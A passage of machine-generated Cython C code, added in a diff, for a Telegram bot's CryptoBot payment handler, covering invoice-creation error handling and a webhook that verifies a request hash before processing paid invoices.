__pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L26_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 129, __pyx_L17_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 129, __pyx_L17_error) + } + } + } + __pyx_L24:; + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L22_try_end; + __pyx_L17_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":130 + * else: + * await callback_query.message.answer(" .") + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 130, __pyx_L19_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":131 + * await callback_query.message.answer(" .") + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_15}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 131, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":130 + * else: + * await callback_query.message.answer(" .") + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L33; + } + __pyx_L32_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_10 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L19_except_error; + } + __pyx_L33:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L18_exception_handled; + } + goto __pyx_L19_except_error; + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + __pyx_L19_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_8, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L18_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_8, __pyx_t_7); + __pyx_L22_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook = {"cryptobot_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("cryptobot_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 134, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "cryptobot_webhook") < 0)) __PYX_ERR(0, 134, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("cryptobot_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 134, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("cryptobot_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 134, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_cryptobot_webhook, __pyx_n_s_cryptobot_webhook, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_t_8; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("cryptobot_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L13_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 134, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":136 + * async def cryptobot_webhook(request): + * try: + * if not check_hash(request): # <<<<<<<<<<<<<< + * logger.warning( + * " hash cryptobot" + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_check_hash); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_request}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 136, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_9 = (!__pyx_t_8); + if (__pyx_t_9) { + + /* "handlers/payments/cryprobot_pay.py":137 + * try: + * if not check_hash(request): + * logger.warning( # <<<<<<<<<<<<<< + * " hash cryptobot" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u_hash_cryptobot}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":140 + * " hash cryptobot" + * ) + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * data = await request.json() + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 140, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 140, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/cryprobot_pay.py":136 + * async def cryptobot_webhook(request): + * try: + * if not check_hash(request): # <<<<<<<<<<<<<< + * logger.warning( + * " hash cryptobot" + */ + } + + /* "handlers/payments/cryprobot_pay.py":142 + * return web.Response(status=400) + * + * data = await request.json() # <<<<<<<<<<<<<< + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 142, __pyx_L4_error) + __pyx_t_5 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_5); + } else { + __pyx_t_5 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_5) < 0) __PYX_ERR(0, 142, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + } + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_data = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":143 + * + * data = await request.json() + * logger.info(f" : {data}") # <<<<<<<<<<<<<< + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject 